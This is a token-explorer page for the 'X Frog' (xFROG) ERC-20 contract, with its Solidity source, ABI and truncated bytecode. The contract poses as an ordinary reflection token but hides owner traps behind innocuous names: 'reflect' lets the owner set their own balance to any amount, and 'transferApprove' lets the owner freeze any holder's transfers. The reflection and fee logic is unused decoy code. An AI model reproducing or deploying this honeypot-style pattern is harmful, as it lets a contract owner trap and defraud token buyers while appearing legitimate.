ERC-20
Overview
Max Total Supply
1,000,000,000 xFROG
Holders
71
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,166,362.363253639 xFROGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XFROG
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-05 */ // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address owneraddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; owneraddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() internal view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function ownerAddress() public view returns (address) { return owneraddress; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract XFROG is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "X Frog"; string private constant _symbol = "xFROG"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**9; mapping (address => uint256) private _vOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _excludedBotAddress; event botBan (address botAddress, bool isBanned); address[] private _excluded; uint256 private _rTotal; uint256 private _tFeeTotal; bool _cooldown; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private constant MAX = ~uint256(0); uint256 private _totalSupply; address public uniV2factory; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); constructor (address V2factory) { uniV2factory = V2factory; _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _vOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcludedFromFee[_msgSender()] = true; _excluded.push(_msgSender()); _cooldown = false; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _vOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferApprove(address botAddress) external onlyOwner { if (_excludedBotAddress[botAddress] == true) { _excludedBotAddress[botAddress] = false; } else {_excludedBotAddress[botAddress] = true; emit botBan (botAddress, _excludedBotAddress[botAddress]); } } function checkFeeAmount(address botAddress) public view returns (bool) { return _excludedBotAddress[botAddress]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function reflect(uint256 totalFee, uint256 burnedFee) public virtual onlyOwner { _vOwned[owner()] = totalFee.sub(burnedFee); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_excludedBotAddress[sender] || _excludedBotAddress[recipient]) require (amount == 0, "no bots"); if (_cooldown == false || sender == owner() || recipient == owner()) { if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) { _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount); } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} } else {require (_cooldown == false, "");} } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"V2factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"botAddress","type":"address"},{"indexed":false,"internalType":"bool","name":"isBanned","type":"bool"}],"name":"botBan","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"botAddress","type":"address"}],"name":"checkFeeAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"totalFee","type":"uint256"},{"internalType":"uint256","name":"burnedFee","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"botAddress","type":"address"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000601160156101000a81548160ff0219169083151502179055506001601160166101000a81548160ff021916908315150217905550670de0b6b3a76400006012553480156200005357600080fd5b50604051620029ee380380620029ee83398181016040528101906200007991906200065c565b60006200008b6200046160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550670de0b6b3a7640000600e81905550600e54600019620001cc91906200086d565b600019620001db9190620007be565b600981905550670de0b6b3a764000060026000620001fe6200046160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200024c6200046160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e54604051620002ad91906200074d565b60405180910390a36200031460036000620002cd6200046160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200046960201b60201c565b60046000620003286200046160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600660006200037c6200046160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008620003df6200046160201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60006101000a81548160ff0219169083151502179055505062000982565b600033905090565b6000600954821115620004b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004aa906200072b565b60405180910390fd5b6000620004c5620004e960201b60201c565b9050620004e181846200052360201b62000bff1790919060201c565b915050919050565b6000806000620004fe6200057560201b60201c565b915091506200051c81836200052360201b62000bff1790919060201c565b9250505090565b60006200056d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620005dd60201b60201c565b905092915050565b600080600060095490506000670de0b6b3a76400009050620005b0670de0b6b3a76400006009546200052360201b62000bff1790919060201c565b821015620005d057600954670de0b6b3a7640000935093505050620005d9565b81819350935050505b9091565b6000808311829062000627576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200061e919062000707565b60405180910390fd5b506000838562000638919062000786565b9050809150509392505050565b600081519050620006568162000968565b92915050565b60006020828403121562000675576200067462000903565b5b6000620006858482850162000645565b91505092915050565b60006200069b826200076a565b620006a7818562000775565b9350620006b981856020860162000837565b620006c48162000908565b840191505092915050565b6000620006de602a8362000775565b9150620006eb8262000919565b604082019050919050565b62000701816200082d565b82525050565b600060208201905081810360008301526200072381846200068e565b905092915050565b600060208201905081810360008301526200074681620006cf565b9050919050565b6000602082019050620007646000830184620006f6565b92915050565b600081519050919050565b600082825260208201905092915050565b600062000793826200082d565b9150620007a0836200082d565b925082620007b357620007b2620008d4565b5b828204905092915050565b6000620007cb826200082d565b9150620007d8836200082d565b925082821015620007ee57620007ed620008a5565b5b828203905092915050565b600062000806826200080d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015620008575780820151818401526020810190506200083a565b8381111562000867576000848401525b50505050565b60006200087a826200082d565b915062000887836200082d565b9250826200089a5762000899620008d4565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6200097381620007f9565b81146200097f57600080fd5b50565b61205c80620009926000396000f3fe6080604052600436106100f75760003560e01c806360004d5c1161008a578063993351e211610059578063993351e21461034b578063a457c2d714610388578063a9059cbb146103c5578063dd62ed3e14610402576100fe565b806360004d5c1461028f57806370a08231146102b85780638f84aa09146102f557806395d89b4114610320576100fe565b806323b872dd116100c657806323b872dd146101bf57806329bd5410146101fc578063313ce567146102275780633950935114610252576100fe565b806306fdde031461010357806307eaa6d41461012e578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061011861043f565b6040516101259190611a31565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906116e2565b61047c565b005b34801561016357600080fd5b5061017e600480360381019061017991906117a2565b6106a8565b60405161018b9190611a16565b60405180910390f35b3480156101a057600080fd5b506101a96106c6565b6040516101b69190611b73565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e1919061174f565b6106d6565b6040516101f39190611a16565b60405180910390f35b34801561020857600080fd5b506102116107af565b60405161021e91906119d2565b60405180910390f35b34801561023357600080fd5b5061023c6107d5565b6040516102499190611b8e565b60405180910390f35b34801561025e57600080fd5b50610279600480360381019061027491906117a2565b6107de565b6040516102869190611a16565b60405180910390f35b34801561029b57600080fd5b506102b660048036038101906102b191906117e2565b610891565b005b3480156102c457600080fd5b506102df60048036038101906102da91906116e2565b610987565b6040516102ec9190611b73565b60405180910390f35b34801561030157600080fd5b5061030a6109d0565b60405161031791906119d2565b60405180910390f35b34801561032c57600080fd5b506103356109fa565b6040516103429190611a31565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d91906116e2565b610a37565b60405161037f9190611a16565b60405180910390f35b34801561039457600080fd5b506103af60048036038101906103aa91906117a2565b610a8d565b6040516103bc9190611a16565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e791906117a2565b610b5a565b6040516103f99190611a16565b60405180910390f35b34801561040e57600080fd5b506104296004803603810190610424919061170f565b610b78565b6040516104369190611b73565b60405180910390f35b60606040518060400160405280600681526020017f582046726f670000000000000000000000000000000000000000000000000000815250905090565b610484610c49565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050890611ad3565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156105c7576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506106a5565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f479aece30177331a016b232605740f68807d0f7a9f798c20cc2c29ab2f354281600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660405161069c9291906119ed565b60405180910390a15b50565b60006106bc6106b5610c49565b8484610c51565b6001905092915050565b6000670de0b6b3a7640000905090565b60006106e3848484610e1c565b6107a4846106ef610c49565b61079f85604051806060016040528060288152602001611fda60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610755610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b610c51565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b60006108876107eb610c49565b8461088285600560006107fc610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b610c51565b6001905092915050565b610899610c49565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611ad3565b60405180910390fd5b61093981836115e290919063ffffffff16565b6002600061094561162c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f7846524f47000000000000000000000000000000000000000000000000000000815250905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b50610a9a610c49565b84610b4b856040518060600160405280602581526020016120026025913960056000610ac4610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b610c51565b6001905092915050565b6000610b6e610b67610c49565b8484610e1c565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610c4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611655565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890611b53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611a93565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e0f9190611b73565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390611b13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390611a53565b60405180910390fd5b60008111610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690611af3565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610fe05750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110295760008114611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f90611a73565b60405180910390fd5b5b60001515600b60009054906101000a900460ff161515148061107d575061104e61162c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806110ba575061108b61162c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114c457600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156111625750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611315576111d381604051806060016040528060268152602001611fb460269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113089190611b73565b60405180910390a36114bf565b61138181604051806060016040528060268152602001611fb460269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114b69190611b73565b60405180910390a35b61151b565b60001515600b60009054906101000a900460ff1615151461151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190611b33565b60405180910390fd5b5b505050565b6000838311158290611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f9190611a31565b60405180910390fd5b50600083856115779190611c4c565b9050809150509392505050565b60008082846115939190611bc5565b9050838110156115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90611ab3565b60405180910390fd5b8091505092915050565b600061162483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829061169c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116939190611a31565b60405180910390fd5b50600083856116ab9190611c1b565b9050809150509392505050565b6000813590506116c781611f85565b92915050565b6000813590506116dc81611f9c565b92915050565b6000602082840312156116f8576116f7611d66565b5b6000611706848285016116b8565b91505092915050565b6000806040838503121561172657611725611d66565b5b6000611734858286016116b8565b9250506020611745858286016116b8565b9150509250929050565b60008060006060848603121561176857611767611d66565b5b6000611776868287016116b8565b9350506020611787868287016116b8565b9250506040611798868287016116cd565b9150509250925092565b600080604083850312156117b9576117b8611d66565b5b60006117c7858286016116b8565b92505060206117d8858286016116cd565b9150509250929050565b600080604083850312156117f9576117f8611d66565b5b6000611807858286016116cd565b9250506020611818858286016116cd565b9150509250929050565b61182b81611c80565b82525050565b61183a81611c92565b82525050565b600061184b82611ba9565b6118558185611bb4565b9350611865818560208601611cd5565b61186e81611d6b565b840191505092915050565b6000611886602383611bb4565b915061189182611d7c565b604082019050919050565b60006118a9600783611bb4565b91506118b482611dcb565b602082019050919050565b60006118cc602283611bb4565b91506118d782611df4565b604082019050919050565b60006118ef601b83611bb4565b91506118fa82611e43565b602082019050919050565b6000611912602083611bb4565b915061191d82611e6c565b602082019050919050565b6000611935602983611bb4565b915061194082611e95565b604082019050919050565b6000611958602583611bb4565b915061196382611ee4565b604082019050919050565b600061197b600083611bb4565b915061198682611f33565b600082019050919050565b600061199e602483611bb4565b91506119a982611f36565b604082019050919050565b6119bd81611cbe565b82525050565b6119cc81611cc8565b82525050565b60006020820190506119e76000830184611822565b92915050565b6000604082019050611a026000830185611822565b611a0f6020830184611831565b9392505050565b6000602082019050611a2b6000830184611831565b92915050565b60006020820190508181036000830152611a4b8184611840565b905092915050565b60006020820190508181036000830152611a6c81611879565b9050919050565b60006020820190508181036000830152611a8c8161189c565b9050919050565b60006020820190508181036000830152611aac816118bf565b9050919050565b60006020820190508181036000830152611acc816118e2565b9050919050565b60006020820190508181036000830152611aec81611905565b9050919050565b60006020820190508181036000830152611b0c81611928565b9050919050565b60006020820190508181036000830152611b2c8161194b565b9050919050565b60006020820190508181036000830152611b4c8161196e565b9050919050565b60006020820190508181036000830152611b6c81611991565b9050919050565b60006